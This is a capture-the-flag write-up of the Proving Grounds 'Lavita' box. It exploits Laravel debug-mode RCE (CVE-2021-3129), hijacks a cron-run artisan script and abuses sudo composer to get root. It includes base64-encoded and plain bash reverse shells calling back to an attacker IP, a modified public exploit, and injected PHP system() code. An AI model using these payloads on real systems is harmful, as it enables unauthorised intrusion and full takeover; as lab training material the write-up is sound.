OffSec Proving Grounds Lavita Writeup
Laravel 8.4.0 with debug mode on falls to CVE-2021-3129, a writable artisan script hijacks a cron job as skunk, and sudo composer runs a script as root.
Summary
Lavita lets anyone register an account, and a request for a route that does not exist returns a Laravel error page naming version 8.4.0 with debug mode enabled, which is exactly the condition CVE-2021-3129 needs. The public Ignition exploit generates a phar with phpggc and then fails, reporting that laravel.log does not exist; proxying the script through Burp shows the server answering the /_ignition/execute-solution/ request with a 301, and the same request without the trailing slash returns 200. Dropping the slash in run_wrapper makes the deserialisation land and returns a shell as www-data. pspy then shows uid 1001, the user skunk, running php artisan clear:pictures every minute, and that artisan file is owned by www-data, so adding a system call to the top of it produces a shell as skunk on the next run. Skunk may run composer as root against the application directory, and the GTFOBins technique of defining a script in composer.json turns that into a root shell.
Web Server Enumeration
Perform directory bruteforcing:
1
ffuf -u http://192.168.150.38/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -fc 403
This yields results like:
1
2
3
4
5
6
7
8
images
register
js
css
login
home
logout
javascript
I access /home but it directs me to /login. I don’t have an account, but the app gives me the ability to create one at http://192.168.150.38/register. I create an account and log in.
The home dashboard looks like this:
It gives me the option to enable debug for the application. I don’t see what this is about immeidately. To identify the back-end application, I visit a nonexisting page and get the following error:
The error leaks the exact software version:
1
Laravel 8.4.0
Initial Access: Laravel <= v8.4.2 debug mode - Remote code execution (CVE-2021-3129)
I google for exploits concerning this laravel version, and find many entries about a RCE exploit when debug mode is on. This looks oddly speciifc to our environment.
I get a public proof of concept script from this github repository.
The exploit instructs me to generate a malicious payload with phpgcc, which I already have installed in my attacking machine. I execute it with the following arguments:
1
php -d'phar.readonly=0' ../phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yNDYvNTMgMD4mMQo= | base64 -d | bash'
The base64 blob is just a simple bash reverse shell script:
1
sh -i >& /dev/tcp/192.168.45.246/53 0>&1
I run the exploit and… It can’t find a supposed log file:
1
2
$ python3 laravel-ignition-rce.py http://192.168.150.38/ /tmp/exploit.phar
- Log file does not exist: /var/www/html/lavita/storage/logs/laravel.log
I research a lot. Did review some other internet-available PoC scripts elsewhere, but it seems like this log file is an important piece of the exploit.
It can, however, leak the absolute path to the web application it seems like, since it’s pointing to /var/www/html/lavita/. So what exactly is going on?
To debug the exploit, I edit the script to make sure the requests go through my burpsuite proxy:
1
2
3
4
5
6
def main(url, payload, log_path=None):
payload = open(payload, 'rb').read()
session = requests.Session()
session.proxies = {'http': 'http://localhost:8080'} # this forwards traffic to my burpsuite proxy
exploit = Exploit(session, url.rstrip('/'), payload, log_path)
exploit.main()
I view the attempt of the script to obtain laravel.log. From the screenshot below, you see the server returns a 301 Moved Permanently when the exploit tries to fetch the /_ignition/execute-solution/ endpoint:
I try the same request, but without the trailing slash (/_ignition/execute-solution with no slash at the end) and the server returns 200 OK:
Interesting. I search for this endpoint in the exploit script and discover it’s being used in the run_wrapper function. I edit this function so that it does not include the ending slash in the endpoint:
1
2
3
4
5
6
7
8
9
10
11
12
def run_wrapper(self, wrapper):
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
return self.session.post(
self.url + '/_ignition/execute-solution',
json={
"solution": solution,
"parameters": {
"viewFile": wrapper,
"variableName": "doesnotexist"
}
}
)
Those two slight modifications to the exploit allow me to trigger a reverse shell with the same exploit.phar script generated earlier:
1
2
3
4
5
6
$ python3 laravel-ignition-rce.py http://192.168.150.38/ /tmp/exploit.phar
+ Log file: /var/www/html/lavita/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
- Deserialisation failed ?!!
+ Logs cleared
I now have access to the machine as www-data.
Horizontal Privilege Escalation
There is another user in the machine with shell access named “skunk”:
1
2
3
4
5
6
$ find / -user skunk 2>/dev/null
/home/skunk
/home/skunk/.bash_logout
/home/skunk/.bashrc
/home/skunk/local.txt
/home/skunk/.profile
I transfer pspy64 to the machine and let it run for a few minutes. From the screenshot below, you can see that user ID 1001 (skunk) runs /usr/bin/php /var/www/html/lavita/artisan clear:pictures. The same commnd is seen to be run every single minute automatically:
This configures as a cronjob / automated task. I see that the exact script being run is owned by www-data (our current user):
1
2
$ ls -al /var/www/html/lavita/artisan
-rwxr-xr-x 1 www-data www-data 1686 Nov 10 2020 /var/www/html/lavita/artisan
I edit this script (/var/www/html/lavita/artisan) to include a malicious PHP command:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
// malicious shell command is added to the top of the script
system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yNDYvNTMgMD4mMQo= | base64 -d | bash');
// rest of the script remains unchanged....
define('LARAVEL_START', microtime(true));
// SNIPPET
?>
I wait for connections on my machine:
1
nc -lvnp 53
As you can see from the screenshot below, this yields me a shell as skunk:
I can now begin enumerating the system as “skunk”.
Vertical Privilege Escalation
User “skunk” can run the following as root:
1
2
3
4
5
6
7
8
skunk@debian:~$ sudo -l
Matching Defaults entries for skunk on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User skunk may run the following commands on debian:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/lavita *
I don’t know its password, so I can’t simply “sudo su” my way into root. I can, however, run “composer” with those pre-defined arguments as root without password.
Running composer as root is generally a bad idea, and an exploitation method for this is described in GTFobins.
As www-data, I create malicious composer.json that will spawn a shell:
1
www-data@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
As skunk, use “sudo” to run “composer” as root:
1
sudo /usr/bin/composer --working-dir\=/var/www/html/lavita run-script x
After confirming the prompt I want to run composer as root, I get a shell as root and can read proof.txt:






